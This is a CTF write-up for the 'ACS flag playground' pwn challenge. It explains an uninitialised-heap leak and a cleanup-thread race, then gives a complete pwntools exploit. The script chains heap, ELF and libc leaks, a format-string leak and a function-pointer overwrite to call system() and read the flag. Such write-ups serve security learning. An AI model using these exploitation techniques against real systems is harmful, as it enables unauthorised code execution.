---
# System prepended metadata

title: ACS

---

# ACS

## ACS flag playground

* The first bug is that in `add_flag` function

![Screenshot 2024-11-19 173314](https://hackmd.io/_uploads/HJRtFk5Myx.png)

* It doesn't initialize old data of chunk returned by malloc, we can get heap leak of this
* Since libc is 2.35 version so we have to deofuscate

```python=
def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val
```
* That's all we can get by that bug. The second bug is in the thread setup at the start of the program

![Screenshot 2024-11-19 173314](https://hackmd.io/_uploads/Bkmwc1qGyx.png)

* It will clean up the key after each 15 sec
* The bug is that it stop 1 sec after handle a key

![image](https://hackmd.io/_uploads/SJNqqyqzJg.png)

* So in this stop, we can change the keys(delete, edit, ...)
* The problem is that it may crash when it comes to function `increment` if we delete not correct:v
* After many hours fuzzing, i can exploit it without make it crash
* It depends on the order of note it will handle, run program i see that it will handle the key by `randnum` 
* So that i need to setup the keys before
* Here's is how i leak elf(by printing the func pointer of key)

```python=
while True:
    arr = []
    r1, a = add_key(10, b'A', 2)
    while(r1 > 500):
        del_key(r1)
        r1, a = add_key(10, b'A', 2)
    r2, a = add_key(10, b'A', 2)
    while(r2 <= r1 or r2 > 1500):
        del_key(r2)
        r2, a = add_key(10, b'A', 2)
    r3, a = add_key(10, b'A', 2)
    while(r3 <= r2 or r3 > 2500):
        del_key(r3)
        r3, a = add_key(10, b'A', 2)
    r4, a = add_key(10, b'A', 2)
    while(r4 < r3 or r4 > 3300):
        del_key(r4)
        r4, a = add_key(10, b'A', 2)
    r5, a = add_key(10, b'A', 2)
    while(r5 < r4):
        del_key(r5)
        r5, a = add_key(10, b'A', 2)
    # r5, a = add_key(10, b'A', 2)
    arr.append(r1)
    arr.append(r2)
    arr.append(r3)
    arr.append(r4)   
    arr.append(r5)

    # print(r1)
    # print(r2)
    # print(r3)
    # print(r4)

    arr.sort()
    break
    # print(arr)
    # print(arr)
# context.log_level = 'debug'
print('Done')
# GDB(p)
payload = b'3\n' + f'{arr[1]}'.encode() + b'\n'
payload += b'3\n' + f'{arr[2]}'.encode() + b'\n'
# payload += b'3\n' + f'{arr[3]}'.encode() + b'\n'
payload += b'3\n' + f'{arr[0]}'.encode() + b'\n'
payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n'
# payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n'
payload += b'1\n' + b'24\n' + p64(3) + p64(0x11111) + b'A'*8 + b'\xc0' + b'3\n'
# payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'1\n'
ru(B'CoolBreak')
ru(B'CoolBreak')
s(payload)
# p.interactive()
ru(b'invalid finder, ')
leak = r(6)
# if b'\xc0' not in leak:
#     print('Fail')
#     p.close()
#     continue
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
```
* Setup keys in order then delete when the thread stop
* I do the same when i leak libc and call system
* I dont know why when i call `system('/bin/sh')` it didn't work so i have to call `system('cat /home/acs_user/flag')`

```python=
#!/usr/bin/python3
from pwn import *


sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()


elf = context.binary = ELF('prob', checksec=False)
libc = ELF('libc.so.6', checksec=False)
base = None
libcbase = None
def int_from_bytes(bytes):
    return int.from_bytes(bytes, byteorder='little')
def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")
    
    return exe_base
def get_libc(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        while True:
            data = f.readline()
            # print(data)
            if 'libc.so.6' not in data:
                continue
            exe_base = int(data.split('-')[0], 16)
            break

    if exe_base is None:
        raise Exception("Executable base address not found.")
    
    return exe_base
def rop_binsh(no_ret=1):
    rop = ROP(libc)
    ret = rop.find_gadget(['ret']) #rop.raw(rop.find_gadget(["pop rbp", "ret"]))
    for i in range(no_ret):
        rop.raw(ret)
    rop.system(next(libc.search(b'/bin/sh\x00')))
def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val
def add_key(size, key, type=1):
    #sla(B'select one', b'1')
    sl(B'1')
    sla(b'finder', str(size).encode())
    sa(b'keyword', key)
    sla(b'Type of your keyword', str(type).encode())
    ru(b'keyword is ')
    leak = ru(b'.')[:-1]
    ru(b'identification number is ')
    num = ru(B'.')[:-1]
    num = int(num.decode(), 10)
    return num, leak
def del_key(key):
    sl(B'3')
    sla(b'identification', str(key).encode())
def modify(key, type=1):
    sl(b'2')
    sla(b'identification number', str(key).encode())
    sla(B'type plz ', str(type).encode())
def GDB(proc):
    if not args.REMOTE:
        print(hex(libcbase + 0x219c80))
        gdb.attach(p, gdbscript=f'''
                   #set *({0x2A02 + base})=4
                   b *({base} + 0x2b23)
                   b *({base} + 0x2abd)
                    c
                    
                  
                    heap set-arena {libcbase + 0x219c80}
                    ''')
while True:
    
    if args.REMOTE:
        p = remote(sys.argv[1], sys.argv[2])
    else:
        p = process(stdin=PTY)
        sleep(1)
        base = get_exe_base(p.pid)
        libcbase = get_libc(p.pid)
        print('libc: ', hex(libcbase))
        
    r1, a = add_key(10, b'hihi', 1)
    r2, a = add_key(10, b'x', 1)
    while(r2 > r1):
            del_key(r2)
            r2, a = add_key(10, b'A', 2)
    print(r1)
    print(r2)
    del_key(r1)
    del_key(r2)

    r3, leak = add_key(24, b'A')
    leak = int_from_bytes(leak)
    print('leak: ', hex(leak))
    for i in range(0x100):
        # print(hex(i) + ': ', end='')
        # print(hex(deobfuscate((leak & 0xffffffffffffff00) + i)))
        val = deobfuscate((leak & 0xffffffffffffff00) + i)
        if(val & 0xfff) == 0:
            break
    print('Val: ', hex(val))
    heap = val - 0x12000
    print('heap: ', hex(heap))
    del_key(r3)
    #context.log_level = 'debug'
    # r1, a = add_key(10, b'X', 1)
    # add_key(5, b'A', 2)
    # add_key(5, b'A', 2)
    ru(b'SEND SYSTEM END')
    while True:
        arr = []
        r1, a = add_key(10, b'A', 2)
        while(r1 > 500):
            del_key(r1)
            r1, a = add_key(10, b'A', 2)
        r2, a = add_key(10, b'A', 2)
        while(r2 <= r1 or r2 > 1500):
            del_key(r2)
            r2, a = add_key(10, b'A', 2)
        r3, a = add_key(10, b'A', 2)
        while(r3 <= r2 or r3 > 2500):
            del_key(r3)
            r3, a = add_key(10, b'A', 2)
        r4, a = add_key(10, b'A', 2)
        while(r4 < r3 or r4 > 3300):
            del_key(r4)
            r4, a = add_key(10, b'A', 2)
        r5, a = add_key(10, b'A', 2)
        while(r5 < r4):
            del_key(r5)
            r5, a = add_key(10, b'A', 2)
        # r5, a = add_key(10, b'A', 2)
        arr.append(r1)
        arr.append(r2)
        arr.append(r3)
        arr.append(r4)   
        arr.append(r5)
        
        # print(r1)
        # print(r2)
        # print(r3)
        # print(r4)
        
        arr.sort()
        break
        # print(arr)
        # print(arr)
    # context.log_level = 'debug'
    print('Done')
    # GDB(p)
    payload = b'3\n' + f'{arr[1]}'.encode() + b'\n'
    payload += b'3\n' + f'{arr[2]}'.encode() + b'\n'
    # payload += b'3\n' + f'{arr[3]}'.encode() + b'\n'
    payload += b'3\n' + f'{arr[0]}'.encode() + b'\n'
    payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n'
    # payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n'
    payload += b'1\n' + b'24\n' + p64(3) + p64(0x11111) + b'A'*8 + b'\xc0' + b'3\n'
    # payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'1\n'
    ru(B'CoolBreak')
    ru(B'CoolBreak')
    s(payload)
    # p.interactive()
    ru(b'invalid finder, ')
    leak = r(6)
    # if b'\xc0' not in leak:
    #     print('Fail')
    #     p.close()
    #     continue
    leak = int_from_bytes(leak)
    print('leak: ', hex(leak))
    ru(B'CoolBreak')
    # payload = b'3\n' + f'{arr[3]}'.encode() + b'\n'
    # payload += b'3\n' + f'{arr[2]}'.encode() + b'\n'
    # payload += b'3\n' + f'{arr[1]}'.encode() + b'\n'
    # payload += b'3\n' + f'{arr[4]}'.encode() + b'\n'
    # s(payload*3)
    
    elf.address = leak - 0x37c0
    print('elf: ', hex(elf.address))
    ru(b'SEND SYSTEM END')
    print('here')
    # pause()
    while True:
        arr = []
        r1, a = add_key(10, b'A', 2)
        while(r1 > 500):
            del_key(r1)
            r1, a = add_key(10, b'A', 2)
        r2, a = add_key(10, b'A', 2)
        while(r2 <= r1 or r2 > 1500):
            del_key(r2)
            r2, a = add_key(10, b'A', 2)
        r3, a = add_key(10, b'A', 2)
        while(r3 <= r2 or r3 > 1500):
            del_key(r3)
            r3, a = add_key(10, b'A', 2)
        r4, a = add_key(10, b'A', 2)
        while(r4 < r3 or r4 > 3300):
            del_key(r4)
            r4, a = add_key(10, b'A', 2)
        r5, a = add_key(10, b'A', 2)
        while(r5 < r4):
            del_key(r5)
            r5, a = add_key(10, b'A', 2)
        # r5, a = add_key(10, b'A', 2)
        arr.append(r1)
        arr.append(r2)
        arr.append(r3)
        arr.append(r4)   
        arr.append(r5)
        
        # print(r1)
        # print(r2)
        # print(r3)
        # print(r4)
        
        arr.sort()
        break
        # print(arr)
        # print(arr)
    # context.log_level = 'debug'
    print('Done')
    # GDB(p)
    CALL_FUNC = elf.address + 0x2B1C
    payload = b'3\n' + f'{arr[1]}'.encode() + b'\n'
    payload += b'3\n' + f'{arr[2]}'.encode() + b'\n'
    payload += b'3\n' + f'{arr[3]}'.encode() + b'\n'
    payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n'
    # payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n'
    payload += b'1\n' + b'24\n' + p64(1) + p64(0x11111) + p64(elf.plt['printf']) + b'\xe0' + b'3\n'
    payload += b'1\n' + b'10\n' + b'W%3$pW'.ljust(11, b'W') + b'3\n'
    payload += b'1\n' + b'10\n' + b'W%3$pW'.ljust(11, b'W') + b'3\n'
    payload += b'1\n' + b'10\n' + b'W%3$pW'.ljust(11, b'W') + b'3\n'
    # ru(f'identification number {arr[0]}'.encode())
    ru(B'CoolBreak')
    ru(B'CoolBreak')
    s(payload)
    ru(b'0x')
    leak = '0x' + r(12).decode()
    leak = int(leak, 16)
    print('leak: ', hex(leak))
    libc.address = leak - 0x114a6f
    print('libc: ', hex(libc.address))
    
    
    

    ru(b'SEND SYSTEM END')
    print('F')
    # input("Send")
    # pause()
    # GDB(p)
    arr = []
    r1, a = add_key(10, b'A', 2)
    while(r1 > 1000):
            del_key(r1)
            r1, a = add_key(10, b'A', 2)
    r2, a = add_key(10, b'A', 2)
    while(r2 <= r1 or r2 > 2500):
        del_key(r2)
        r2, a = add_key(10, b'A', 2)
    r3, a = add_key(10, b'A', 2)
    while(r3 <= r2 or r3 > 3500):
        del_key(r3)
        r3, a = add_key(10, b'A', 2)
    # r4, a = add_key(10, b'A', 2)
    # while(r4 < r3):
    #     del_key(r4)
    #     r4, a = add_key(10, b'A', 2)
    arr.append(r1)
    arr.append(r2)
    arr.append(r3)
    # arr.append(r4)   
    arr.sort()
    context.log_level = 'debug'
    payload = b'3\n' + f'{arr[1]}'.encode() + b'\n'
    payload += b'3\n' + f'{arr[2]}'.encode() + b'\n'
    # payload += b'3\n' + f'{arr[0]}'.encode() + b'\n'
    # payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n'
    payload += b'1\n' + b'24\n' + p64(1) + b'/bin/sh\x00'.ljust(8, b'\x00') + p64(libc.sym['system']) + b'\x70' + b'3\n'
    # payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n'
    payload += b'1\n' + b'24\n' + b'cat /home/acs_ctf/flag\x00'.ljust(25, b'\x00') + b'3\n'
    ru(B'CoolBreak')
    ru(B'CoolBreak')
    sl(payload)
    
    # sl(b'cat /home/acs_ctf/flag')
    p.interactive()

```